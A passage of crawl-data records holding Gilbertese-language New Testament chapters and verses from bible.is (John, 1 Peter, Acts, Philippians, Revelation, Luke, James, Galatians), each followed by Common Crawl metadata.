temwaangina a taku, Boni Ngaia te Kristo! Ma a taku ake temwaangina, Bwa E na kaoti te Kristo mai Kariraia? 42Tiaki e taku te Baibara bwa E na riki te Kristo man ana kariki Tawita, ao E na kaoti mai Betereem, are ana kaawa Tawita? 43Ma ngaia are a aki booraoi aia iango aomata n taekan Iesu. 44Iai temwaangina i buakoia aomata ake a bati aika a kan tauua Iesu, ma akea irouia ae e roko baina i aona. 45A oki bureitimanin te umwantabu nakoia ibonga ake mataniwi ma Bwaritaio; ao ngaiia a taku nakoia bureitimanin te umwantabu, Kam aera ngkai kam aki kairia mai? 46A kaekaia bureitiman ao a taku, Akea ma ngkoa ae aron Teuaei ngkana E taetae. 47A taku ngkanne Bwaritaio nakoia, Ao ngkami, kam mwaamwanaaki naba irouna? 48Iai aika a kakoauaa Iesu i buakoia aia mataniwi I-Iutaia ma Bwaritaio? 49Ma aomata aika a mwaiti aikai, aika a aki ataa te tua, ane a na reke kaiia! 50Ao Nikotemo ae te Bwaritaio naba, are e kawara Iesu rimoa, e taku nakoia aomata, 51Tiaki bwa e kaangai taekan ara Tua: bwa e aki konaa ni motikaki taekan te aomata ni karokoa ae e a tia moa n ongoraa te aba mai irouna ao n ataaki bwa tera ae e karaoia? 52A kaeka ao a taku nakoina, Te I-Kariraia naba ngkoe? Ko na ukeuke n te Baibara, ao ko na nooria iai bwa akea taekan te buraabeti ae e na kaoti mai Kariraia. 53A bane aomata n okiri aia auti.\nIOANE 7","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/John\/7","date":"2013-12-06T16:52:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163052204\/warc\/CC-MAIN-20131204131732-00046-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1245,"character_repetition_ratio":0.053,"word_repetition_ratio":0.024,"special_characters_ratio":0.241,"stopwords_ratio":0.439,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia ae ngkae E a tia ni maraki Kristo n rabwatana ao kam na tauraoi naba ni bwaina te nano ae ti te arona ma nanona; bwa ane e a tia ni maraki n rabwatana ao e a tia n aki tau-taekanaki maiuna n te bure. 2Bwa kam na aki kabane ami bongi ni maiu n rabwatami n iri nanoni iango n aomata aika a naano ni kaibwabwaru, ma kam na ira nanon te Atua. 3Kam riai n aki manga karaoi baika kam karaoi ngkoa ngke kam iri nanoia aomata ake tiaki Kristian, ni maiu ni kaitataan ma ni kaibwabwaru, ma ni manging, ma ni bobootaki ni manging ni kukurei ni kammaira, ma n iri taromauriiani bouananti aika a taromauri aika a bati n ribaaki. 4A miimii ngkai kam aki raoniia n aroia ni kabatiaa te maiu-buaka n aron are a kaakaraoia; ao a taetaebuakaingkami. 5Ane a na taekin aroia nakon Teuare e tauraoi ni motiki-taekaia akana a maiu ma akana a mate. 6Bwa anne bukin ae e taekinaki naba te euangkerio nakoia akana a mate, bwa a aonga ni motiki-taekaia n ai aroia aomata aika a maiu n rabwataia, ao bwa a aonga ni maiu ni maiuia n taamnei n ai aron te Atua. 7E a kaan tokini bwaai ni kabane, ma ngaia ae kam na nanowanawana ma n tatauraoi n tataro. 8Ma e a moamoa i aoni bwaai ni kabane bwa kam na kabatiaa te i-tangitangiri; bwa e rabuni buure aika a rangi ni bati te tangira. 9Kam na i aakoakoi n aki bwangantaeka. 10Ngkai kam anganaki bwaai n tituaraoi n tatabemaningkami nako, ao kam na kamanenaai ibukin temanna ma temanna, n ai aroia touati aika a raraoi n ana bwai n aakoi aika a kakaokoro te Atua: 11ngkana e taetae temanna, ao e na taetae n atoong ana taeka te Atua; ngkanae aakoa te aba temanna, ao e na karaoi n ai aron te konaa ae E anganna te Atua; bwa E aonga n neboaki te Atua ni bwaai ni kabane ibukin Iesu Kristo, are ana bwai te neboaki ma te tau-taeka n aki toki. Amene. 12Ngkami aika kam tangiraki, kam na tai miimii n te bwainikiriinaki ae e korakora ae kam taonaki iai ma ni kataaki iai, bwa aongkoa te bwai ni kamiimii ae e riki nakoimi; 13ma ngkai kam buokanibwai ni marakini Kristo, ao kam na kimwaareirei; bwa aonga ni kabatiaaki ami kimwaareirei ngkana e kaotaki arona ni mimitong. 14Ngkana kam tataebuakaki ibukin arani Kristo, ao kam a kabwaia; bwa E mena iroumi te Taamnei ae e kamiimii arona, ae Taamnein te Atua. 15Ngkana e maraki temanna i buakomi, ao e na tai atongaki iai bwa te tia tiritiri, ke te tia ira, ke te tia karaoa ae e buaakaka, ke te tia kanrabakauakin aia bwai aomata tabemwaang n te aro ae e aki riai. 16Ma ngkana e maraki temanna ngkai te Kristian, ao e na aki maamaa, ma e na neboa te Atua ngkai e ingoana arani Kristo. 17Bwa e a roko te tai ae e na moanaki iai te motiki-taeka mai irouia ana aomata te Atua; ao ngkana e moanaki mai iroura, ao e na tera mwiina nakoia akana a aki ira nanon ana euangkerio te Atua? 18N ai aron are e atongaki ni kaangai n te Baibara: Ngkana e kuri ni kaangaanga kamaiuan te aomata ae e kaakaraoa nanon te Atua, Ao tera ngkanne ae e na riki nakon te aomata ae te tia bure ae akea reitakina ma te Atua? 19Ma ngaia aei, bwa akana maraki, ngkai bon nanon te Atua i bukiia, ao a na mwiokoi maiuia n aroia ni karaoa ae e raoiroi iroun te Tia Karikiia ae e kakaonimaki.\n1 BETERO 4","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1Pet\/4","date":"2013-12-08T14:19:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163065880\/warc\/CC-MAIN-20131204131745-00058-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":613,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.465,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MWAKURI 21:55Ao ngke a bane ara bong i Turo, ao ti mwananga n nako. A bakaborauiia te koraki arei ma buiia ma natiia nako tinanikun te kaawa; ao ti katorobubua i aon te bike, ao ti tataro. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/21\/5","date":"2013-12-11T12:26:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164036080\/warc\/CC-MAIN-20131204133356-00080-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999514818,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"gil_Latn_score\": 0.9999514818191528}","num_words":52,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.327,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia aei, ngkai e reke karauan te nano irouni Kristo, ngkai iai kauungaan te nano n te tangira, ngkai iai te i-raorao ma te Taamnei, ngkai iai te atataiaomata ma te nanoanga, 2ao kam na kaona au kimwaareirei, bwa kam na i buoka n iango, kam na bwaina te tangira ae ti te arona, kam na katiteuanaaki n ami iango bwa kaanga ai aron temanna n aomata ngkami: 3ao akea te bae kam na karaoia ma te kauntaeka ke te kainikatonga, ma kam na bwaina te nanorinano, temanna nakon temanna, n aromi n iangoiia bwa a raoiroi riki nako imi. 4Ao kam na tai ti mutiakin ami bwai, ma kam na mutiakin naba aia bwai raomi. 5Kam na bwaina te nano aei, ae e mena naba i nanoni Kristo Iesu: 6Bwa arona aron te Atua, Ma akea i nanona te kan riki ni booraoi ma te Atua. 7Ma E kukurei ni kaaki bwaai ni kabane aika irouna, ao E arona aron te toro. E riki n ai aron te aomata. 8E kananoorinanoa i bon irouna, ao E ongeaaba ni karokoa te mate, are te mate n te kaibangaki. 9Ma ngaia are E karaoia te Atua bwa E na rangi ni karineaki, ao E anganna te ara ae e kakannato riki nakon aara ni kabane; 10bwa a aonga ni bane te koraki ake a mena i karawa, ma ake i aon te aba, ma ake i aan te aba, ni katorobubua ni karinea aran Iesu; 11ao bwa a na bane neewe n taku bwa te Uea Iesu Kristo, bwa E aonga n neboaki te Atua ae te Tama iai. 12Ma ngaia aei, ngkami aika kam tangiraki irou, kam aki toki n ongeaaba, tiaki ti ngke I mena iroumi, ma ai moa ra riki ngkai I a raroa nako mai iroumi. Kam na kekeiaki mwaaka, n ruru ni maaku, bwa e aonga n reke raoi kamaiuami! 13Bwa bon te Atua ae e mwamwakuri i nanomi bwa kam aonga ni kukurei ni karaoa ana kaantanginga n akoi. 14Kam na karaoi bwaai ni kabane n aki ngurengure ma n aki kabo-taeka; 15bwa kam aonga n aki bukintaeka ngkana iai te kaairua ae e riki, ao bwa kam aonga n itiaki man te aro ae e buaakaka, ngkai natin te Atua ngkami aika akea te kaairua iroumi i buakon te roro ae e bwaoua ae e buaakaka; aika kam oota i buakoia bwa kaanga itoi i aon te aba, 16n aromi n taua ni kamatoaa taekan te maiu. Ma ngaia ae ngkana e roko ana bong te Uea, ao N na boni kimwaareirei iroumi, ngkai e aki matebuaka au kekeiaki ma au mwakuri. 17Ami onimaki ma ami mwakuri aika kam karaoi bwa kaanga ibonga ai aron te karea nakon te Atua; ao tao N na kamateaki, ao n te aro aei N na riki bwa ai aron te karea are te raraa are e kabwaroaki i aon te karea. Ngkana arona bwa e riki aei, ao N na boni kimwaareirei, ao N na kimwarerei ma ngkami; 18ao ai aromi naba, bwa kam na kimwaareirei, ao kam na kimwaareirei ma ngai. 19Ngkana nanon te Uea, ao iai au kaantaninga bwa N nang kanakoa Timoteo nakoimi, bwa e aonga ni kauungaaki naba nanou n ataakin taekami. 20Bwa akea raou temanna ae ai aron Timoteo, ae e na tabeakin raoi aromi. 21Bwa a bon tabeakin oin aroia aomata nako, ao a aki tabe ma baika a kaeti ma nanoni Iesu Kristo. 22Ma kam bon ataa aroni manenan Timoteo. E a tia ni mwakuri ma ngai, n ai aron te nati are e mwakuri ma tamana, bwa te toro ibukin te euangkerio. 23Ma ngaia ae bon au kaantaninga bwa N na kanakoa nakoimi ngkana I waekoa n noori aroni bwaai i bukiu bwa a kangaa. 24Ao I bon aki nanokokoraki, bwa ngkana nanon te Uea, ao ngai naba N na nakoimi n aki waeremwe. 25Ma I taku bwa e bon riai bwa N na kanakoa nako imi Ebwaberorito, ae taariu ao raou ni mwakuri ma nibuaka, ae ami aomata are kam kanakoa ibukini buokani kain nanou. 26E rangi ni kan nooringkami ni kabane, ao e aki rau nanona ngke kam ongo bwa e aoraki. 27Bwa e bon aoraki, ao e kuri ni mate; ma E nanoangaia te Atua, ao tiaki ti ngaia, ma E nanoangaai naba bwa e kaawa n reke irou te nanokaawaki ae moan te bati. 28Ma ngaia ae I barekia ni kanakoa nakoimi, bwa kam aonga ni manga kakatonga ngkana kam nooria, ao bwa e aonga ni karako riki nanokaawakiu. 29Ma ngaia ae kam na mwaneia i nanon te Uea ma te kimwaareirei ni kabanea; ao kam na karineia aomata aika aron teuaei: 30bwa e kaania matena ibukin ana mwakuri Kristo n aki mutiakina maiuna, bwa e aonga n anganai buokau n aron are e aki konaa n reke mai iroumi.\nBIRIBI 2","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Phil\/2","date":"2013-12-06T15:18:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163051992\/warc\/CC-MAIN-20131204131731-00069-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":807,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.449,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE KAOTIOTI 13:33Iai atuun te man arei teuana ae e a tia n ikoaki n te ikoaki ae e taraa n rangi ni kaakaiaki, ma e a tia ni mao. Ao a bane kaain te aonnaba n iriira te man arei ni miimiiakinna. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/13\/3","date":"2013-12-08T13:27:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163065790\/warc\/CC-MAIN-20131204131745-00001-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999983311,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999983310699463}","num_words":58,"character_repetition_ratio":0.036,"word_repetition_ratio":0.0,"special_characters_ratio":0.251,"stopwords_ratio":0.397,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 11:3030Bwa aron te baere e karaoia Iona ngke e riki bwa te kanikina nakoia I-Ninewe, ao ai aron naba are E karaoia Natin te Aomata, e na riki bwa te kanikina nakoia te roro aei. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/11\/30","date":"2013-12-10T19:55:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164024169\/warc\/CC-MAIN-20131204133344-00003-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999388456,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.9999388456344604}","num_words":51,"character_repetition_ratio":0.115,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.294,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao e nako n te umwantabu Betero ma Ioane n tain te tataro are te aoa tenua n te tanimaeaontaai. 2Ao e uotaki te aomata temanna ae e a kamani mwauku mai nanoni biroton tinana, ae e kaweeweneaki n te bong ae koraki n te mataroa are arana Tamaroa, are te mataroa n rin nakon te umwantabu, bwa e na buubuti bwaai n tituaraoi mai irouia aomata aika a rin n te umwantabu. 3Ngke e noora Betero ma Ioane bwa a nangi rin n te umwantabu, ao e buubutiia aia bwai n tituaraoi. 4A katokai mataia Betero ma Ioane n taraia, ao e taku Betero nakoina, Taraira. 5Ao ngaia e ira nanon are e tuangaki, bwa e taku i nanona bwa tao a na anganna te bwai teuana. 6Ma e taku Betero, Bon akea naba teutana au mwane irou, ma N na anganiko ae iai irou: Nakonako n aran Iesu Kristo are te I-Natareta. 7E taua ataina Betero, ao e kateirakea; ao n te tai naba arei ao a riki ni marurung waena ma tomaia. 8Ao e ewe rake n tei, ao e nakonako, ao e rin ma uaakekei n te umwantabu, n nakonako ma n eweewe, ma ni karaoiroa te Atua. 9A bane aomata n nooria bwa e nakonako ma ni karaoiroa te Atua: 10ao a ataia bwa bon teuare e tetekateka ni bubuubuti n te mataroa are arana Tamaroa, are te mataroa n rin nakon te umwantabu; ao a bon rangi ni miimii n te baere e riki nakoina. 11Ngke e tabe teuarei ni kakanimnimmwa i rarikini Betero ma Ioane ao a rangi ni miimii aomata, ao a biri ni bootaki nakoia n te kaman are e aranaki bwa ana kaman Toromon. 12Ngke e nooriia aomata Betero n te aro arei, ao e taku nakoia, Mwaane aika Iteraera, kam aera ngkai kam miimii iroun teuaei? Ao kam aera ngkai kam katokai matami n taraira bwa aongkoa ti kanakonakoa teuaei n oini mwaakara ma raoiroira i matan te Atua? 13Atuan Aberaam, ma Itaaka, ma Iakobwa, are Atuaia ara bakatibu, E neboa Natina are Iesu, are kam anga ao kam kaakeaai matani Birato, ngke e a tia n reke ana baaire bwa e na kainaomataa. 14Bwa kam kaakeaa Teuare e Raoiroi, are e kabanea maiuna ibukin te Atua, ao kam tua bwa kam na anganaki te aomata ae te tia tiritiri, 15ao kam kamatea Uean te maiu, are E a manga kamaiua te Atua mai buakoia maate; ao bon taani kakoaua ngaira nakoni baikai. 16E a kamaiuaki teuae kam nooria ma ni kina, n onimakinan aran Iesu; bwa onimakinan Iesu boni ngaia ae e angan teuaei te marurung aei n aron ae kam bane n nooria i matami. 17Ma ngaia aei, raou, I ataia bwa te baere kam karaoia ma ami mataniwi nakon Iesu, kam karaoia ma te aki oota. 18Ma te Atua are E a kaman tataekinna ni wiia buraabeti ni kabane ae E na kammarakaki ana Kristo, E a kakoroa bukina n te aro aei. 19Ma ngaia ae kam na raraoma, ao rairi nanomi bwa a aonga ni kamaunaaki ami bure, 20ao bwa a aonga n roko boong aika a kamaiu mai iroun te Uea; ao E aonga ni kanakomaia te Kristo are Iesu, are E a kaman rineia i bukimi; 21are E riai tikuna i karawa ni karokoa te tai are a bane iai bwaai nako ni kaokaki nakon aroia ngke a moani karikaki, n aron are E taekinna te Atua ni wiia buraabeti ake ngkoa, ake a tia ni kabane maiuia ibukina. 22Bwa e kaangai Mote, Ane E na kateirakea te buraabeti temanna te Uea ae te Atua i bukimi mai buakoia ami bootanaomata, bwa ai arou; kam na ongo irouna ni bwaai ni kabane akana E na atong nakoimi. 23Ao te bwai ae e na riki nakoia aomata nako akana a rawa n ongo iroun te Buraabeti arei, a na bane ni kamaunaaki mai buakon te bootanaomata. 24Ao buraabeti ni kabaneia ake a tia n taetae, ni bootaki ma Tamuera ma ake a kaoti i mwiina, a kaotioti naba baika a na riki ni boong aikai. 25Ana taeka n aakoi te Atua are a taekinna buraabeti bon i bukimi, ao iai tibwangami n te booraraoiare E karaoia te Atua ma ami bakatibu, n aron are E taekinna nakon Aberaam ngke E kaangai, A na kabwaia kaain aonnaba ni kabaneia iroun am kariki. 26E kateirakea Natina te Atua ao E kanakoa moa nakoimi, bwa E na kakabwaiaingkami, n rairingkami ni kabaneingkami man aromi aika a bubuaka.\nMWAKURI 3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/3","date":"2013-12-12T11:38:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164581855\/warc\/CC-MAIN-20131204134301-00076-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":751,"character_repetition_ratio":0.049,"word_repetition_ratio":0.013,"special_characters_ratio":0.229,"stopwords_ratio":0.442,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Tariu, kam na tai bwaina te nanonano nakoia aomata ngkai taan onimakina te Uea are Iesu Kristo ngkami, are te Uea are ana bwai te neboaki. 2Bwa ngkana e rin n ami bootaki te aomata ae e burenibainna n te burenibai ae te koora, ao e kunnikainna n te kunnikai ae e tamaaroa, ao ngkana e rin naba te aomata ae e aki kaubwai ma kunnikaina ae e buaakaka; 3ao ngkana kam tarataraa teuare e kunnikaia te kunnikai ae e tamaaroa ao kam kaota karineana ni kaangai, Ko na tekateka ikai n te tabo ae e raoiroi: ao nakon teuare e aki kaubwai, kam kaangai, Ko na tei ikekei! ke, Ko na tekateka ikai i rarikini waeu; 4ao tiaki kam karika te raure iroumi iai, ma n riki bwa taani babaaire aika kam babaaire ma te nanonano ae e buaakaka? 5Tariu aika kam tangiraki, kam na ongoraa: tiaki E rineiia akana a aki kaubwai ni bwain aon te aba te Atua bwa a na kau-onimaki, ao a na riki bwa taan ababa n ueana are E atongnga n te taeka n aakoi nakoia ake a tangiria? 6Ma ngkami, kam kamangora te aomata ane e aki kaubwai. Tiaki a baabakanikawai nakoimi akana a kaubwai ao tiaki ngaiia aika a katikiingkami nako matan taiani kaboowi? 7Tiaki ngaiia ake a taetaebuakaa te ara are e raoiroi are kam a tia n anganaki? 8Ma kam karaoa ae e raoiroi ngkana kam toua mwiin te tua are mai iroun te Uea, are e koreaki ni kaangai: Ko na tangira raom n ai aron tangiram i bon iroum; 9ma ngkana kam karineia aomata ibukin aromi n nanonano, ao kam bure iai; ao ni kaeti ma taekan te Tua, kam a kabuaakakaaki iai bwa taan ri aona ngkami. 10Bwa ane e toua mwiin te Tua ni kabanea ma e reke burena n teuana, ao e a bukinaki naba iai bwa e aki ira nanon te Tua ni kabane. 11Bwa Teuare e kaangai, Ko na tai wene ni bure, ao boni Ngaia naba ae e kaangai, Ko na tai kamateia aomata. Ngkana ko aki wene ni bure, ma ko kamatea te aomata, ao ko riki iai bwa te tia ri aon te Tua. 12Kam na taetae ao kam na karaoi aromi n ai aroia aomata aika a nangi motikaki taekaia n tuan te inaomata. 13Bwa ane e aki nanoangaaea te aba, ao e na motikaki taekana n aki nanoangaaki; ma e tootokanikai te nanoanga n te motiki-taeka. 14Tariu, tera manena ngkana e taku temanna bwa iai ana onimaki ao akea kakoauaana n ana mwakuri? E konaa te aeka n onimaki anne ni kamaiua? 15Ngkana akea ana kunnikai tarimi temanna ke mwaannnemi temanna, ao ngkana akea kanaia n te bong ae koraki, 16ao e kaangai nakoia temanna iroumi, Kam na nako ma te rau, kam na kunnikaingkami raoi bwa kam aonga n aki mariri, ao kam na nuai; ao ngkana kam aki anganiia baika a tau nakon rabwataia, ao tera manenan ami taeka? 17Ao ai aron naba te onimaki: e mate ngkana ti ngaia ao akea ana mwakuri. 18Ma ane e na kaangai temanna, Iai am onimaki, ao ngai iai au mwakuri; ko na kaota am onimaki nakoiu ae e aki nooraki koauana n am mwakuri. Ao ngai au kaeka e kaangai, Ko na kaota am onimaki nakoiu, ngkai akea am mwakuri, ao ngai I a kaota au onimaki nakoim n au mwakuri. 19Ko taku bwa ti temanna te Atua; e eti am taeka anne. A boni kakoauaa naba te taeka anne taian taimonio, ao a ruru ni maaku. 20Te aomata ae ko baba! Ko tangira ae e na kaotaki nakoim bwa te onimaki are akea ana mwakuri e aki manena? 21Tiaki e reke reitakin Aberaam are ara bakatibu ma te Atua n ana mwakuri, ngke e anga Itaaka are natina bwa te karea i aon te baonikarea? 22Ko nooria ngkanne bwa te onimaki e mwamwakuri n ana mwakuri Aberaam, ao e kakoroaki raoi ana onimaki n ana mwakuri; 23ao e kakoauaaki taekan te Baibara are e kaangai, Ao e onimakina te Atua Aberaam, ao e atongaki aei bwa ngaia ae e reke iai reitakina ma te Atua; ao e aranaki bwa raraon te Atua. 24Kam nooria ngkanne, bwa e reke reitakin te aomata ma te Atua tiaki ti n te onimaki n ti ngaia, ma n ana onimaki ni bootaki ma ana mwakuri. 25Ao tiaki bwa ai aron naba Nei Raba are te kabekaau? E reke reitakina ma te Atua n ana mwakuri, ngke e akoiia taan tutuo akekei, ao e kanakoia n te kawai teaina. 26Bwa aron te rabwata bwa e mate ngkana akea te taamnei, ao ai aron naba te onimaki bwa e mate ngkana akea te mwakuri.\nIAKOBO 2","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Jas\/2","date":"2013-12-11T19:17:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164043900\/warc\/CC-MAIN-20131204133403-00096-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":783,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.429,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma I kan taekinna naba bwa i nanon ana tai n ataei te nati are e na bwaibwai i mwiin tamana, ao e aki kakaokoro ma te toro, e boni ngae ngke ngaia ae e na bwaini bwaai ni kabane. 2Ma e mena i aaia te koraki aika a tararuaia ma n tau mwiin ana bwai ni karokoa te tai are e a tia ni baaireia tamana. 3Ao ai arora naba, ngke ataei ngaira, ao ti toronaki ni baika iai mwaakaia n te aonnaba aei. 4Ma ngke e a koro raoi taina, ao te Atua E kanakoa Natina. E bungiaki iroun te aine, ao E mena i aan te Tua, 5bwa E aonga ni kainaomataiia aika a mena i aan te Tua, bwa ti aonga n riki bwa natin te Atua. 6Ao ngkai naati ngkami, ao te Atua E kanakoa Taamnein Natina nako nanora, are E tataro ni kaangai, Abwa, Tamara. 7Ma ngaia ae ko a aki manga riki bwa te toro ngkoe, ma ai te nati; ao ngkana te nati, ao te tia bwaibwai naba iroun te Atua. 8Ma kam aki ataa te Atua ngkekei, ao kam toro irouia baika iai mwaakaia aika tiaki atua; 9ma ngkai kam a ataa te Atua—ke ngkai kam a ataaki iroun te Atua—ao kam kangaa ni manga rairaki nakoni baike iai mwaakaia ake a mamaara ma n akea boonganaia, ake kam kani manga moana aromi n toronaki iai? 10Kam kaawakini boong, ma taian namwakaina, ma tain nako taian toa, ma ririki. 11I maaku iroumi, bwa e kaawa ni matebuaka au mwakuri i bukimi. 12Taari, I butingkami bwa kam na riki n arou, ngkai I riki naba n aromi. Akea te bae e buaakaka ae kam a tia ni karaoia nakoiu; 13ma kam ataia bwa I taekina te euangkerio nakoimi n te moa n tai, bwa kioina ngke e mamaara rabwatau. 14E riki mamaarau bwa te kaangaanga nakoimi, ma kam aki kaota ae kam kaakeaa boongana ke kam ribaia; ma kam mwaneai n akoai bwa kaanga ai aron ana anera te Atua ngai, ao bwa kaanga ai aroni Kristo Iesu. 15E ngaa ngkoa kukureimi? I boni koaua bwa kam na kaman tia n auti kanoani matami n anganai, ngke arona bwa kam konaa. 16I a riki ngkai bwa ami kairiribai ngkai I taekina te koaua nakoimi? 17A tauaninne aomata akanne iroumi, ma tiaki n te aro ae e raoiroi; ma a kani kaokoroingkami, 18bwa kam aonga n tauaninne irouia. E raoiroi te tauaninne n tai nako n te bae e raoiroi, ao tiaki ti ngkana I mena iroumi. 19Natiu aika a uarereke, ai aron te aine ngai n ana tai ni bung, ae I ngirangira ni maraki i bukimi ni karokoa ae kam riki bwa taan ira Kristo ngkami. 20Tera ngke I mena iroumi ngkai, bwa I aonga n ae I bita teini bwanaau; bwa I aki ataa te bae N na karaoia nakoimi. 21Kam na tuangai, ngkami aika kam kani mena i aan te Tua, kam aki ataia bwa tera ae e taekinna te Tua 22Bwa e kaangai, bwa uoman natin Aberaam aika mwaane, temanna natina ma te aine ae te toro, ao temanna ma te aine ae te inaomata. 23Teuare natin te aine are te toro e bungiaki n aroni bungiakiia aomata; ma teuare natin te aine are te inaomata e riki bwa kakoroan nanon te taeka n akoi. 24Taetae ni kabootau baikai, bwa booraraoi aika uoua naakekeki: neiere bungiia natina bwa tooro bon Nei Aka, ao e tei ibukin te booraraoi are e karaoaki n te maunga are Tinai. 25Aka bon te maunga are Tinai i Arabia, ao bon te banna ni kabootau naba ibukin Ierutarem ae ngkai, n arona n toronaki ma kaaina ni kabaneia. 26Bwa e koreaki ae e kaangai: 27Ko na kukurei ngkoe ae ko kanoaboo ae ko tuai ni bung; Ko na takaarua ni kimwaareirei ngkoe ae ko tuai n ariri; Bwa a bati riki natin te aine ae e tiku n ti ngaia nakoni mwaitiia natin neiere iai buuna. 28Taari, natin te taeka n aakoi ngaira, n ai aron Itaaka. 29Ma n aron are ngkekei, ngke e bwainikiriinaki teuare e bungiaki n aron nanon te Taamnei iroun teuare e bungiaki n aron bungiaia aomata, ao ai bon arona naba ngkai. 30Ma e kaanga te Baibara? Kanakoa te toro te aine ma natina; bwa e na bon aki bwaibwai natin te aine are te toro ma natin te aine are te inaomata. 31Ma ngaia aei, taari, tiaki ngaira natin te aine are te toro, ma bon natin te aine are te inaomata.\nKARATIA 4","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Gal\/4","date":"2013-12-08T10:10:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163064915\/warc\/CC-MAIN-20131204131744-00008-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":756,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.421,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1I mwiini baikai ao I noora te anera temanna bwa e ruo mai karawa. E korakora mwaakana, ao e oota aon te aba ni mimitongina. 2Ao e taetae n te bwanaa ae e korakora, ao e kaangai, E a bwaka Bwaburon are e kakannato; e a bwaka ao e riki bwa nneia ni maeka taimonio, ao nneia ni kabureaki taamnei aika a kamwaraa ni kabaneia, ao nneia ni kainaki maan aika a ribaaki ni kabaneia. 3Bwa a bane bootanaomata ni mooi n ana wain, ae te wain ni wene ni bure; ao a wene ni bure ma ngaia ueea i aonnaba ni korakoran nanona ni kaibwabwaru. 4Ao I ongo te bwanaa teuana mai karawa bwa e kaangai, Au aomata, kam na oti nako mai irouna, bwa kam na aki buokanibwai ma ngaia n ana bure, ao kam na aki buokanibwai naba ma ngaia ni kaina akana kamaamate akana a na reke nakoina. 5Bwa a rota karawa ana bure, ao te Atua E aki mwaninga taekan ana bure. 6Are e karaoia nakoimi, ao kam na karaoia naba nakoina, ao kauoua te tai 